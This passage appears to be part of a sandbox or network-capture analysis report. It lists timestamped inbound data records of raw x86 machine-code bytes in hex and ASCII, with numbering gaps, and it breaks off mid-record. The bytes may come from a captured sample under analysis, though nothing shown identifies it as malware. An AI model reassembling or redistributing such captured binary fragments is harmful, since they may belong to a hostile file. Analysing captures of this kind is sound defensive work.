2022-07-20 08:32:57 UTC	428	IN	Data Raw: 45 c4 8b 55 cc 8d 65 f4 5b 5e 5f 5d c2 14 00 8b 53 38 85 c0 89 55 e4 8b 53 28 89 55 b4 8b 53 2c 89 55 c0 8d 56 02 0f 45 f2 eb 9c 8d 45 e0 c7 44 24 04 00 00 00 00 89 44 24 08 c7 04 24 00 00 00 00 e8 f4 0c 00 00 89 3c 24 8d 4d dc 89 45 dc e8 66 26 00 00 8b 55 bc 8b 43 30 83 ec 04 89 d7 29 c7 85 ff 0f 8e d5 00 00 00 85 c0 8b 43 0c 0f 48 fa 85 c0 0f 84 e1 03 00 00 8d 04 3f c7 44 24 0c 00 00 00 00 8d 4d dc 89 44 24 08 89 45 ac 8b 45 dc 8b 40 f4 c7 04 24 00 00 00 00 89 44 24 04 e8 16 10 00 00 8b 45 ac 83 ec 10 01 f0 89 45 ac 8b 43 0c 89 45 a8 8b 43 08 89 45 a4 0f b7 43 14 89 45 a0 8b 45 dc 8b 50 fc 85 d2 0f 89 fa 03 00 00 8b 55 ac 89 74 24 10 89 04 24 89 54 24 14 8b 55 a8 89 54 24 0c 8b 55 a4 89 54 24 08 8b 55 a0 89 54 24 04 e8 82 b1 03 00 89 45 ac 8b 45 dc 8b Data Ascii: EUe[^_]S8US(US,UVEED$D$$<$MEf&UC0)CH?D$MD$EE@$D$EECECECEEPUt$$T$UT$UT$UT$EE
2022-07-20 08:32:57 UTC	444	IN	Data Raw: 50 f4 01 da 83 4a 14 01 f6 42 10 01 75 29 e8 27 d1 03 00 eb 9e e8 b0 cf 03 00 8b 03 03 58 f4 83 4b 14 01 f6 43 10 01 75 05 e8 2c d4 03 00 e8 27 d4 03 00 89 c3 eb 05 e8 1e d4 03 00 e8 f9 d0 03 00 89 1c 24 e8 41 40 fb ff 89 c3 e8 ea d0 03 00 89 1c 24 e8 32 40 fb ff 90 90 55 89 e5 57 56 53 89 cb 83 ec 3c 89 0c 24 8d 4d e3 c7 44 24 04 00 00 00 00 e8 62 1a 00 00 83 ec 08 80 7d e3 00 74 59 8b 03 c7 45 e4 00 00 00 00 8b 70 f4 01 de 8b 8e 84 00 00 00 89 f0 85 c9 74 70 8b 7d 08 8b 76 78 8b 11 89 44 24 10 89 7c 24 18 8d 7d e4 89 7c 24 14 c7 44 24 08 00 00 00 00 c7 44 24 0c ff ff ff ff 89 34 24 c7 44 24 04 ff ff ff ff ff 52 14 83 ec 1c 8b 45 e4 85 c0 75 10 8d 65 f4 89 d8 5b 5e 5f 5d c2 04 00 8d 74 26 00 8b 13 8b 4a f4 01 d9 0b 41 14 89 04 24 e8 9e 5c 03 00 89 d8 83 Data Ascii: PJBu)'XKCu,'$A@$2@UWVS<$MD$b}tYEptp}vxD$\|$}\|$D$D$4$D$REue[^_]t&JA$\
2022-07-20 08:32:57 UTC	445	IN	Data Raw: 78 8b 11 89 44 24 10 89 7c 24 18 8d 7d e4 89 7c 24 14 c7 44 24 08 00 00 00 00 c7 44 24 0c ff ff ff ff 89 34 24 c7 44 24 04 ff ff ff ff ff 52 10 83 ec 1c 8b 45 e4 85 c0 75 10 8d 65 f4 89 d8 5b 5e 5f 5d c2 04 00 8d 74 26 00 8b 13 8b 4a f4 01 d9 0b 41 14 89 04 24 e8 3e 59 03 00 89 d8 83 ec 04 8d 65 f4 5b 5e 5f 5d c2 04 00 e8 da 7a 03 00 83 ea 01 89 04 24 74 1d e8 4d cb 03 00 8b 03 8b 50 f4 01 da 83 4a 14 01 f6 42 10 01 75 29 e8 a7 cc 03 00 eb 9e e8 30 cb 03 00 8b 03 03 58 f4 83 4b 14 01 f6 43 10 01 75 05 e8 ac cf 03 00 e8 a7 cf 03 00 89 c3 eb 05 e8 9e cf 03 00 e8 79 cc 03 00 89 1c 24 e8 c1 3b fb ff 89 c3 e8 6a cc 03 00 89 1c 24 e8 b2 3b fb ff 90 90 55 89 e5 57 56 53 89 cb 83 ec 3c 89 0c 24 8d 4d e3 c7 44 24 04 00 00 00 00 e8 e2 15 00 00 83 ec 08 80 7d e3 00 Data Ascii: xD$\|$}\|$D$D$4$D$REue[^_]t&JA$>Ye[^_]z$tMPJBu)0XKCuy$;j$;UWVS<$MD$}
2022-07-20 08:32:57 UTC	461	IN	Data Raw: d8 5b 5e 5f 5d c2 08 00 66 90 8b 46 7c 89 45 d4 85 c0 0f 84 85 00 00 00 8b 45 d4 80 78 1c 00 74 1c 0f be 40 3d 89 45 d0 89 c1 88 4e 74 8b 03 c6 46 75 01 8b 70 f4 01 de e9 32 ff ff ff 8b 4d d4 e8 25 68 fc ff 8b 45 d4 c7 45 d0 20 00 00 00 b9 20 00 00 00 8b 00 8b 40 18 3d 00 9d 43 00 74 ca c7 04 24 20 00 00 00 8b 4d d4 ff d0 0f be c0 83 ec 04 89 c1 89 45 d0 eb b1 90 8b 4d e4 8b 01 03 48 f4 8b 41 14 83 c8 01 89 04 24 e8 0a 19 03 00 83 ec 04 e9 64 ff ff ff e8 ad 3a 03 00 e8 a8 3a 03 00 eb 04 89 c3 eb 26 83 ea 01 89 04 24 75 2e e8 15 8b 03 00 8b 03 03 58 f4 83 4b 14 01 f6 43 10 01 74 3f e8 91 8f 03 00 e8 6c 8c 03 00 8d 4d e0 e8 d4 ef ff ff 89 1c 24 e8 ac fb fa ff e8 e7 8a 03 00 8b 03 8b 78 f4 01 df 83 4f 14 01 f6 47 10 01 74 05 e8 61 8f 03 00 e8 3c 8c 03 00 e9 Data Ascii: [^_]fF\|EExt@=ENtFup2M%hEE @=Ct$ MEMHA$d::&$u.XKCt?lM$xOGta<
2022-07-20 08:32:57 UTC	462	IN	Data Raw: 89 01 8b 40 f4 8b 52 04 89 14 01 c2 08 00 90 90 90 90 90 90 90 90 90 90 90 90 8b 44 24 04 8b 10 89 11 8b 40 04 03 4a f4 89 01 c7 44 24 04 00 00 00 00 e9 03 14 03 00 90 90 90 53 89 cb 8d 49 04 83 ec 18 c7 41 fc f0 8c 5c 00 c7 01 50 9b 5c 00 e8 55 06 03 00 89 1c 24 e8 5d 85 03 00 83 c4 18 5b c3 90 90 90 90 90 90 90 90 c7 01 f0 8c 5c 00 83 c1 04 c7 01 50 9b 5c 00 e9 2c 06 03 00 90 90 90 90 90 90 90 90 90 90 90 90 8b 54 24 04 8b 02 89 01 8b 40 f4 8b 52 04 89 14 01 c2 04 00 90 90 90 90 90 90 90 90 90 90 90 90 57 89 cf 56 53 83 ec 10 8b 01 8b 5c 24 20 8b 70 f4 8b 03 01 ce 03 58 f4 89 f1 89 1c 24 e8 ee fb 02 00 8d 46 6c 89 f1 83 ec 04 89 04 24 e8 3e 12 03 00 8d 43 6c 89 d9 83 ec 04 89 04 24 e8 2e 12 03 00 8b 46 70 8b 53 70 83 ec 04 89 56 70 89 43 70 0f b6 43 74 Data Ascii: @RD$@JD$SIA\P\U$][\P\,T$@RWVS\$ pX$Fl$>Cl$.FpSpVpCpCt
2022-07-20 08:32:57 UTC	478	IN	Data Raw: 89 c2 8b 45 e4 89 7c 24 04 89 14 24 89 44 24 08 89 55 e4 e8 12 7e fb ff 8b 55 e4 89 53 10 eb ac 89 c6 eb 07 eb 14 e8 0f 49 03 00 89 d9 e8 98 ff 01 00 89 34 24 e8 50 b8 fa ff 89 04 24 e8 88 47 03 00 8b 43 10 39 c6 74 0c 85 c0 74 08 89 04 24 e8 55 45 03 00 e8 00 4c 03 00 89 c6 eb c8 90 90 90 90 90 90 90 90 90 90 90 90 55 31 c0 89 e5 56 53 89 cb 83 ec 10 8b 55 08 c7 01 f8 8d 5c 00 c7 41 08 00 00 00 00 85 d2 0f 95 c0 89 41 04 e8 07 fe 01 00 c7 04 24 00 00 00 00 89 d9 89 43 10 e8 a6 f9 ff ff 83 ec 04 8d 65 f8 5b 5e 5d c2 04 00 89 c6 89 d9 e8 11 ff 01 00 89 34 24 e8 c9 b7 fa ff 90 90 90 90 90 90 90 90 90 53 89 cb 83 ec 18 e8 15 00 00 00 89 1c 24 e8 dd 44 03 00 83 c4 18 5b c3 90 90 90 90 90 90 90 90 56 53 89 cb 83 ec 14 c7 01 f8 8d 5c 00 8b 71 10 e8 9b fd 01 00 Data Ascii: E\|$$D$U~USI4$P$GC9tt$UELU1VSU\AA$Ce[^]4$S$D[VS\q
2022-07-20 08:32:57 UTC	479	IN	Data Raw: 00 00 c7 40 7c 00 00 00 00 c7 80 80 00 00 00 00 00 00 00 c7 80 84 00 00 00 00 00 00 00 c7 80 88 00 00 00 00 00 00 00 c7 80 8c 00 00 00 00 00 00 00 c7 80 90 00 00 00 00 00 00 00 c7 80 94 00 00 00 00 00 00 00 c7 80 98 00 00 00 00 00 00 00 c7 80 9c 00 00 00 00 00 00 00 c7 80 a0 00 00 00 00 00 00 00 c7 80 a4 00 00 00 00 00 00 00 c7 80 a8 00 00 00 00 00 00 00 c7 80 ac 00 00 00 00 00 00 00 c7 80 b0 00 00 00 00 00 00 00 c7 80 b4 00 00 00 00 00 00 00 c7 80 b8 00 00 00 00 00 00 00 c7 80 bc 00 00 00 00 00 00 00 c7 80 c0 00 00 00 00 00 00 00 c6 80 c4 00 00 00 00 89 43 08 e9 d7 fc ff ff 90 90 90 90 90 90 90 90 55 31 c0 89 e5 56 53 89 cb 83 ec 10 8b 55 0c c7 01 08 8e 5c 00 85 d2 0f 95 c0 89 41 04 8b 45 08 89 41 08 e8 a8 f9 01 00 c7 04 24 00 00 00 00 89 d9 89 43 10 e8 Data Ascii: @\|CU1VSU\AEA$C
2022-07-20 08:32:57 UTC	495	IN	Data Raw: c3 89 f6 8d bc 27 00 00 00 00 b8 ff ff ff ff f0 0f c1 41 04 eb cd 90 90 90 90 53 89 cb 83 ec 18 8b 41 10 c7 01 9c 86 5c 00 c7 40 0c 00 00 00 00 8b 41 10 c7 40 18 00 00 00 00 8b 41 10 c7 40 20 00 00 00 00 8b 41 10 c7 40 28 00 00 00 00 a1 d4 89 5b 00 8b 49 0c 85 c0 75 30 8b 41 04 8d 50 ff 89 51 04 83 f8 01 75 05 8b 01 ff 50 04 89 d9 e8 86 c2 01 00 89 1c 24 e8 3e 01 03 00 83 c4 18 5b c3 89 f6 8d bc 27 00 00 00 00 b8 ff ff ff ff f0 0f c1 41 04 eb cd 90 90 90 90 53 89 cb 83 ec 08 8b 41 10 c7 01 68 86 5c 00 c7 40 0c 00 00 00 00 8b 41 10 c7 40 18 00 00 00 00 8b 41 10 c7 40 20 00 00 00 00 8b 41 10 c7 40 28 00 00 00 00 a1 d4 89 5b 00 8b 49 0c 85 c0 75 20 8b 41 04 8d 50 ff 89 51 04 83 f8 01 75 05 8b 01 ff 50 04 83 c4 08 89 d9 5b e9 62 a9 ff ff 66 90 b8 ff ff ff ff Data Ascii: 'ASA\@A@A@ A@([Iu0APQuP$>['ASAh\@A@A@ A@([Iu APQuP[bf
2022-07-20 08:32:57 UTC	496	IN	Data Raw: 00 00 00 00 8b 41 10 c7 40 2c 00 00 00 00 a1 d4 89 5b 00 8b 49 0c 85 c0 75 30 8b 41 04 8d 50 ff 89 51 04 83 f8 01 75 05 8b 01 ff 50 04 89 d9 e8 96 c6 01 00 89 1c 24 e8 7e fd 02 00 83 c4 18 5b c3 89 f6 8d bc 27 00 00 00 00 b8 ff ff ff ff f0 0f c1 41 04 eb cd 90 90 90 90 53 89 cb 83 ec 08 8b 41 10 c7 01 38 87 5c 00 c7 40 0c 00 00 00 00 8b 41 10 c7 40 1c 00 00 00 00 8b 41 10 c7 40 24 00 00 00 00 8b 41 10 c7 40 2c 00 00 00 00 a1 d4 89 5b 00 8b 49 0c 85 c0 75 20 8b 41 04 8d 50 ff 89 51 04 83 f8 01 75 05 8b 01 ff 50 04 83 c4 08 89 d9 5b e9 72 ad ff ff 66 90 b8 ff ff ff ff f0 0f c1 41 04 eb dd 90 90 90 90 53 89 cb 83 ec 08 8b 41 10 c7 01 6c 87 5c 00 c7 40 0c 00 00 00 00 8b 41 10 c7 40 1c 00 00 00 00 8b 41 10 c7 40 24 00 00 00 00 8b 41 10 c7 40 2c 00 00 00 00 a1 Data Ascii: A@,[Iu0APQuP$~['ASA8\@A@A@$A@,[Iu APQuP[rfASAl\@A@A@$A@,
2022-07-20 08:32:57 UTC	512	IN	Data Raw: c6 43 4a 01 83 fe ff 74 a8 8b 43 14 89 f1 88 08 89 f0 83 43 14 01 83 c4 34 5b 5e c2 04 00 8d 44 24 20 c7 44 24 04 01 00 00 00 89 d9 89 04 24 e8 86 ef ff ff 83 ec 08 84 c0 74 0f c6 43 4a 01 89 f0 e9 43 ff ff ff 8d 74 26 00 83 c4 34 b8 ff ff ff ff 5b 5e c2 04 00 8d 76 00 c7 43 14 00 00 00 00 c7 43 10 00 00 00 00 c7 43 18 00 00 00 00 eb 8f 90 90 90 90 90 90 90 90 90 57 56 53 83 ec 30 8b 74 24 40 f6 41 30 08 0f 84 fc 00 00 00 80 79 4a 00 89 cb 75 69 8b 41 08 0f b6 79 54 3b 41 04 0f 86 96 00 00 00 8d 50 ff 89 51 08 0f b6 50 ff 31 c0 83 fe ff 74 3f 89 d0 39 f2 74 39 89 f8 84 c0 0f 85 c3 00 00 00 80 7b 54 00 8b 43 08 75 1c 89 43 4c 8b 43 0c 8d 53 4c 89 53 0c 89 43 50 8d 43 4b 89 43 04 89 43 08 c6 43 54 01 89 f2 c6 43 49 01 88 10 89 f0 83 c4 30 5b 5e 5f c2 04 00 Data Ascii: CJtCC4[^D$ D$$tCJCt&4[^vCCCWVS0t$@A0yJuiAyT;APQP1t?9t9{TCuCLCSLSCPCKCCCTCI0[^_
2022-07-20 08:32:57 UTC	513	IN	Data Raw: 53 04 8b 6b 64 03 43 68 89 43 68 89 54 24 3c 39 e8 0f 87 46 ff ff ff 83 fe 03 74 64 89 f8 84 c0 74 a0 8b 43 40 83 ee 01 c7 43 14 00 00 00 00 c7 43 10 00 00 00 00 89 43 04 89 43 08 89 43 0c c7 43 18 00 00 00 00 c6 43 49 00 0f 85 3f 01 00 00 c7 04 24 70 10 5c 00 e8 8e 6c 02 00 8b 4b 58 8b 01 ff 50 20 8b 4c 24 28 8d 74 06 fe e9 87 fe ff ff 89 f6 8d bc 27 00 00 00 00 8b 43 68 8b 53 04 8b 4b 5c 29 c8 89 c5 89 c6 39 44 24 28 72 2b 85 c0 75 2d 85 ed 89 4b 64 be 03 00 00 00 0f 95 c0 09 f8 e9 13 ff ff ff 8d 76 00 bf 01 00 00 00 e9 4b ff ff ff 8d b6 00 00 00 00 8b 74 24 28 89 f5 89 74 24 08 89 4c 24 04 89 14 24 e8 5a f1 fa ff 03 73 5c 89 f1 eb bc 8d 76 00 8b 44 24 28 8d 4b 28 89 44 24 04 8b 43 04 89 04 24 e8 ca 8a ff ff 83 ec 08 89 c5 85 c0 74 71 7f 17 c7 04 24 a8 Data Ascii: SkdChChT$<9FtdtC@CCCCCCCI?$p\lKXP L$(t'ChSK\)9D$(r+u-KdvKt$(t$L$$Zs\vD$(K(D$C$tq$
2022-07-20 08:32:57 UTC	529	IN	Data Raw: 13 8b 52 f4 8b 4e 0c 89 04 24 89 0c 13 c7 43 04 00 00 00 00 e8 71 ec f9 ff eb e1 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 55 89 e5 57 56 53 89 cb 83 ec 2c 8b 75 08 8b 46 08 89 01 8b 50 f4 8b 4e 0c 89 0c 13 c7 43 04 00 00 00 00 8b 48 f4 c7 04 24 00 00 00 00 01 d9 e8 dc 0f 02 00 8b 46 10 83 ec 04 89 43 08 8b 40 f4 8d 4c 03 08 8b 46 14 89 01 c7 04 24 00 00 00 00 e8 bb 0f 02 00 8b 46 04 8d 7b 0c 83 ec 04 89 f9 89 03 8b 40 f4 8b 56 18 89 14 03 8b 46 1c 89 43 08 8b 06 89 03 8b 40 f4 8b 56 20 89 14 03 8b 46 24 89 43 08 e8 e7 e2 ff ff 8b 03 8b 48 f4 89 3c 24 01 d9 e8 78 0f 02 00 8b 45 10 83 ec 04 89 f9 89 44 24 04 8b 45 0c 8b 00 89 04 24 e8 8f cc ff ff 8b 13 83 ec 08 8b 4a f4 01 d9 85 c0 74 21 c7 04 24 00 00 00 00 e8 c5 10 02 00 83 ec 04 8d 65 f4 5b 5e 5f 5d Data Ascii: RN$CqUWVS,uFPNCH$FC@LF$F{@VFC@V F$CH<$xED$E$Jt!$e[^_]
2022-07-20 08:32:57 UTC	530	IN	Data Raw: 83 ec 1c 8b 01 8b 7c 24 30 8b 70 f4 8b 07 01 ce 8b 58 f4 89 f1 01 fb 83 c7 0c 89 1c 24 e8 98 ec 01 00 8d 46 6c 89 f1 83 ec 04 89 04 24 e8 18 0b 02 00 8d 43 6c 89 d9 83 ec 04 89 04 24 e8 08 0b 02 00 8b 46 70 8b 53 70 8d 4d 0c 83 ec 04 89 56 70 0f b7 53 74 89 43 70 0f b7 46 74 66 89 56 74 0f b6 56 76 66 89 43 74 0f b6 43 76 88 46 76 8b 45 04 88 53 76 8b 57 f8 89 55 04 89 47 f8 89 3c 24 e8 54 e3 ff ff 89 e8 83 ec 04 83 c4 1c 5b 5e 5f 5d c2 04 00 90 90 90 90 90 55 89 e5 57 56 53 89 cb 83 ec 3c 89 0c 24 8d 4d e3 c7 44 24 04 00 00 00 00 e8 42 20 00 00 83 ec 08 80 7d e3 00 74 59 8b 03 c7 45 e4 00 00 00 00 8b 70 f4 01 de 8b 8e 84 00 00 00 89 f0 85 c9 74 70 8b 7d 08 8b 76 78 8b 11 89 44 24 10 89 7c 24 18 8d 7d e4 89 7c 24 14 c7 44 24 08 00 00 00 00 c7 44 24 0c ff Data Ascii: \|$0pX$Fl$Cl$FpSpMVpStCpFtfVtVvfCtCvFvESvWUG<$T[^_]UWVS<$MD$B }tYEptp}vxD$\|$}\|$D$D$
2022-07-20 08:32:57 UTC	546	IN	Data Raw: 49 8b 01 c7 04 24 20 00 00 00 ff 50 28 8b 16 66 89 43 74 83 ec 04 c6 43 76 01 8b 5a f4 01 f3 e9 4e ff ff ff 8d b6 00 00 00 00 8b 4d e4 8b 01 03 48 f4 8b 41 14 83 c8 01 89 04 24 e8 7a cd 01 00 83 ec 04 eb a9 e8 00 e7 01 00 e8 fb e6 01 00 eb 04 89 c3 eb 26 83 ea 01 89 04 24 75 2e e8 68 37 02 00 8b 06 03 70 f4 83 4e 14 01 f6 46 10 01 74 3f e8 e4 3b 02 00 e8 bf 38 02 00 8d 4d e0 e8 47 fa ff ff 89 1c 24 e8 ff a7 f9 ff e8 3a 37 02 00 8b 06 8b 78 f4 01 f7 83 4f 14 01 f6 47 10 01 74 05 e8 b4 3b 02 00 e8 8f 38 02 00 e9 14 ff ff ff e8 a5 3b 02 00 89 c3 eb 04 89 c3 eb b9 e8 78 38 02 00 eb b7 90 90 90 90 90 90 55 89 e5 57 56 89 ce 53 83 ec 4c 89 0c 24 8d 4d e0 e8 2a f9 ff ff 83 ec 04 80 7d e0 00 74 75 8b 06 8b 58 f4 01 f3 8b bb 80 00 00 00 85 ff 0f 84 e7 00 00 00 80 Data Ascii: I$ P(fCtCvZNMHA$z&$u.h7pNFt?;8MG$:7xOGt;8;x8UWVSL$M*}tuX
2022-07-20 08:32:57 UTC	547	IN	Data Raw: 02 00 eb b7 90 90 90 90 90 90 55 89 e5 57 56 53 89 cb 83 ec 4c 89 0c 24 8d 4d e0 e8 ea f5 ff ff 83 ec 04 80 7d e0 00 74 7a 8b 03 8b 70 f4 01 de 8b be 80 00 00 00 85 ff 0f 84 e7 00 00 00 80 7e 76 00 0f 84 92 00 00 00 0f b7 46 74 66 89 45 d2 8b 07 8b 4e 78 ba 00 00 00 00 89 74 24 08 89 45 d4 8b 45 08 85 c9 0f 94 c2 89 0c 24 89 f9 89 44 24 10 0f b7 45 d2 89 54 24 04 89 44 24 0c 8b 45 d4 ff 50 10 83 ec 14 84 d2 74 18 8b 03 8b 48 f4 01 d9 8b 41 14 83 c8 01 89 04 24 e8 1a c9 01 00 83 ec 04 8b 45 e4 8b 10 03 42 f4 89 c6 f6 40 0d 20 74 1a e8 02 e4 01 00 84 c0 75 11 8b 4e 78 85 c9 74 0a 8b 01 ff 50 18 83 f8 ff 74 3d 8d 65 f4 89 d8 5b 5e 5f 5d c2 04 00 90 8b 4e 7c 85 c9 74 49 8b 01 c7 04 24 20 00 00 00 ff 50 28 8b 13 66 89 46 74 83 ec 04 c6 46 76 01 8b 72 f4 66 89 Data Ascii: UWVSL$M}tzp~vFtfENxt$EE$D$ET$D$EPtHA$EB@ tuNxtPt=e[^_]N\|tI$ P(fFtFvrf
2022-07-20 08:32:57 UTC	563	IN	Data Raw: 89 cb 8d 7b 04 83 ec 2c 8b 75 08 8b 46 04 89 01 8b 48 f4 8b 46 08 01 d9 89 01 c7 04 24 00 00 00 00 e8 14 88 01 00 8b 06 89 f9 83 ec 04 89 03 8b 40 f4 8b 56 0c 89 14 03 e8 5d 5b ff ff 8b 03 8b 48 f4 89 3c 24 01 d9 e8 ee 87 01 00 83 ec 04 8d 65 f4 5b 5e 5f 5d c2 04 00 eb 0d 89 45 e4 89 f9 e8 15 5f ff ff 8b 45 e4 8b 56 04 89 13 8b 52 f4 8b 4e 08 89 04 24 89 0c 13 e8 0c 64 f9 ff 90 90 90 90 90 90 90 90 90 90 90 90 53 89 cb 8d 49 04 83 ec 18 c7 41 fc 3c 91 5c 00 c7 41 70 50 91 5c 00 c7 01 68 8f 5c 00 e8 9e 47 ff ff 8d 4b 2c e8 96 c5 fe ff c7 43 04 44 92 5c 00 8d 4b 20 e8 a7 ad 00 00 c7 03 38 4f 5c 00 8d 4b 74 c7 43 74 60 9b 5c 00 e8 d2 71 01 00 89 1c 24 e8 da f0 01 00 83 c4 18 5b c3 90 90 90 90 90 53 89 cb 8d 49 04 83 ec 08 c7 41 fc 3c 91 5c 00 c7 41 70 50 91 Data Ascii: {,uFHF$@V][H<$e[^_]E_EVRN$dSIA<\ApP\h\GK,CD\K 8O\KtCt`\q$[SIA<\ApP
2022-07-20 08:32:57 UTC	564	IN	Data Raw: c2 08 00 89 c6 89 d9 e8 4e 50 01 00 89 34 24 e8 76 60 f9 ff 90 90 90 90 90 90 55 57 bf a8 11 5c 00 56 53 89 cb 83 ec 1c 8b 44 24 34 8b 6c 24 30 89 04 24 89 ee e8 b0 4f 01 00 c7 03 60 91 5c 00 b9 02 00 00 00 83 ec 04 f3 a6 0f 97 c0 1c 00 84 c0 74 17 bf aa 11 5c 00 b9 06 00 00 00 89 ee f3 a6 0f 97 c0 1c 00 84 c0 75 10 83 c4 1c 5b 5e 5f 5d c2 08 00 8d b6 00 00 00 00 8d 73 08 89 34 24 e8 15 a7 00 00 c7 44 24 08 00 00 00 00 89 6c 24 04 89 34 24 e8 91 a6 00 00 83 c4 1c 5b 5e 5f 5d c2 08 00 89 c6 89 d9 e8 ae 4f 01 00 89 34 24 e8 d6 5f f9 ff 90 90 90 90 90 90 55 57 bf 95 0b 5c 00 56 53 89 cb 83 ec 1c 8b 44 24 30 8b 28 8b 44 24 34 89 04 24 89 ee e8 0e 4f 01 00 c7 03 60 91 5c 00 b9 02 00 00 00 83 ec 04 f3 a6 0f 97 c0 1c 00 84 c0 74 17 bf 97 0b 5c 00 b9 06 00 00 00 Data Ascii: NP4$v`UW\VSD$4l$0$O`\t\u[^_]s4$D$l$4$[^_]O4$_UW\VSD$0(D$4$O`\t\
2022-07-20 08:32:57 UTC	580	IN	Data Raw: 90 90 90 90 90 90 90 90 90 90 53 89 cb 83 ec 18 8b 44 24 20 89 04 24 e8 7e 72 fe ff c7 03 b0 93 5c 00 83 ec 04 83 c4 18 5b c2 04 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 53 89 cb 83 ec 18 8b 44 24 20 89 04 24 e8 ae 72 fe ff c7 03 b0 93 5c 00 83 ec 04 83 c4 18 5b c2 04 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 53 89 cb 83 ec 18 c7 01 b0 93 5c 00 e8 df 72 fe ff 89 1c 24 e8 37 ad 01 00 83 c4 18 5b c3 90 90 c7 01 b0 93 5c 00 e9 c5 72 fe ff 90 90 90 90 90 8b 54 24 04 31 c0 c7 01 c4 93 5c 00 c7 41 08 00 00 00 00 85 d2 c7 41 0c 00 00 00 00 0f 95 c0 c7 41 10 00 00 00 00 89 41 04 c7 41 14 00 00 00 00 c7 41 18 00 00 00 00 c7 41 1c 00 00 00 00 c7 41 20 00 00 00 00 c7 41 24 00 00 00 00 c7 41 28 00 00 00 00 c7 41 2c 00 00 00 00 c7 41 30 00 00 00 00 c7 41 34 00 Data Ascii: SD$ $~r\[SD$ $r\[S\r$7[\rT$1\AAAAAAAA A$A(A,A0A4
2022-07-20 08:32:57 UTC	581	IN	Data Raw: e9 c5 63 00 00 90 90 90 90 90 c7 01 c4 93 5c 00 e9 b5 63 00 00 90 90 90 90 90 8b 54 24 04 31 c0 c7 01 d4 93 5c 00 c7 41 08 00 00 00 00 85 d2 c7 41 0c 00 00 00 00 0f 95 c0 c7 41 10 00 00 00 00 89 41 04 c7 41 14 00 00 00 00 c7 41 18 00 00 00 00 c7 41 1c 00 00 00 00 c7 41 20 00 00 00 00 c7 41 24 00 00 00 00 c7 41 28 00 00 00 00 c7 41 2c 00 00 00 00 c7 41 30 00 00 00 00 c7 41 34 00 00 00 00 c7 41 38 00 00 00 00 c7 41 3c 00 00 00 00 c7 41 40 00 00 00 00 c7 41 44 00 00 00 00 c7 41 48 00 00 00 00 c7 41 4c 00 00 00 00 c7 41 50 00 00 00 00 c7 41 54 00 00 00 00 c7 41 58 00 00 00 00 c7 41 5c 00 00 00 00 c7 41 60 00 00 00 00 c7 41 64 00 00 00 00 c7 41 68 00 00 00 00 c7 41 6c 00 00 00 00 c7 41 70 00 00 00 00 c7 41 74 00 00 00 00 c7 41 78 00 00 00 00 c7 41 7c 00 00 00 Data Ascii: c\cT$1\AAAAAAAA A$A(A,A0A4A8A<A@ADAHALAPATAXA\A`AdAhAlApAtAxA\|
2022-07-20 08:32:57 UTC	597	IN	Data Raw: 05 90 9d 5b 00 a0 9a 5c 00 a3 98 9d 5b 00 e8 57 f1 00 00 a1 d4 89 5b 00 83 ec 04 85 c0 0f 85 47 03 00 00 83 05 94 9d 5b 00 01 8b 53 04 b9 44 9f 5b 00 89 55 d4 e8 70 50 fa ff 8b 55 d4 c7 04 82 90 9d 5b 00 c7 05 0c 9e 5b 00 01 00 00 00 c7 05 08 9e 5b 00 2c 99 5c 00 e8 4d 22 00 00 a3 10 9e 5b 00 a1 d4 89 5b 00 85 c0 0f 85 eb 02 00 00 83 05 0c 9e 5b 00 01 8b 53 04 b9 1c 9f 5b 00 89 55 d4 e8 24 50 fa ff 8b 55 d4 b9 e4 9d 5b 00 c7 04 82 08 9e 5b 00 8b 45 e0 c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 c7 05 e8 9d 5b 00 01 00 00 00 c7 05 e4 9d 5b 00 90 8d 5c 00 a3 ec 9d 5b 00 e8 a5 15 fe ff a1 d4 89 5b 00 83 ec 08 85 c0 0f 85 75 02 00 00 83 05 e8 9d 5b 00 01 8b 53 04 b9 54 9d 5b 00 89 55 d4 e8 be 4f fa ff 8b 55 d4 b9 f0 9d 5b 00 c7 04 82 e4 9d 5b 00 c7 44 24 04 Data Ascii: [\[W[G[SD[UpPU[[[,\M"[[[S[U$PU[[ED$$[[\[[u[ST[UOU[[D$
2022-07-20 08:32:57 UTC	598	IN	Data Raw: 7b 01 00 89 c3 e9 08 7c 01 00 89 c3 e9 13 7c 01 00 89 c3 e9 1e 7c 01 00 89 c3 e9 29 7c 01 00 90 90 90 90 90 90 90 90 90 90 90 55 89 e5 57 56 53 89 cb 83 ec 3c 8b 75 08 c7 04 24 0c 00 00 00 e8 b6 65 01 00 89 c7 8b 06 c7 47 04 00 00 00 00 89 f9 c7 07 7c 9a 5c 00 c7 47 08 00 00 00 00 89 04 24 e8 b4 e9 00 00 a1 d4 89 5b 00 83 ec 04 85 c0 0f 85 e8 04 00 00 83 47 04 01 8b 43 04 b9 40 9f 5b 00 89 45 d4 e8 20 4c fa ff 8b 4d d4 89 3c 81 c7 04 24 0c 00 00 00 e8 5e 65 01 00 89 c7 8b 06 c7 47 04 00 00 00 00 89 45 e4 8d 45 e4 c7 07 10 99 5c 00 89 04 24 e8 5f 1e 00 00 89 47 08 a1 d4 89 5b 00 85 c0 0f 85 7f 05 00 00 83 47 04 01 8b 53 04 b9 18 9f 5b 00 89 55 d4 e8 cb 4b fa ff 8b 55 d4 89 3c 82 c7 04 24 0c 00 00 00 e8 09 65 01 00 89 c7 8b 06 c7 47 04 00 00 00 00 89 f9 c7 Data Ascii: {\|\|\|)\|UWVS<u$eG\|\G$[GC@[E LM<$^eGEE\$_G[GS[UKU<$eG
2022-07-20 08:32:57 UTC	614	IN	Data Raw: 14 8b 16 8b 4c 24 20 8b 44 24 24 89 cb 29 d3 03 56 04 39 d0 74 24 29 c8 89 1c 24 89 f1 89 44 24 04 e8 84 13 00 00 8b 06 83 ec 08 83 c4 14 01 d8 5b 5e c2 08 00 90 8d 74 26 00 89 5e 04 c6 01 00 8b 06 83 c4 14 01 d8 5b 5e c2 08 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 56 89 ce 53 83 ec 14 8b 5c 24 20 2b 19 c7 44 24 04 01 00 00 00 89 1c 24 e8 33 13 00 00 8b 06 83 ec 08 83 c4 14 01 d8 5b 5e c2 04 00 90 90 90 90 56 89 ce 53 83 ec 14 8b 16 8b 4c 24 20 8b 44 24 24 89 cb 29 d3 03 56 04 39 d0 74 24 29 c8 89 1c 24 89 f1 89 44 24 04 e8 f4 12 00 00 8b 06 83 ec 08 83 c4 14 01 d8 5b 5e c2 08 00 90 8d 74 26 00 89 5e 04 c6 01 00 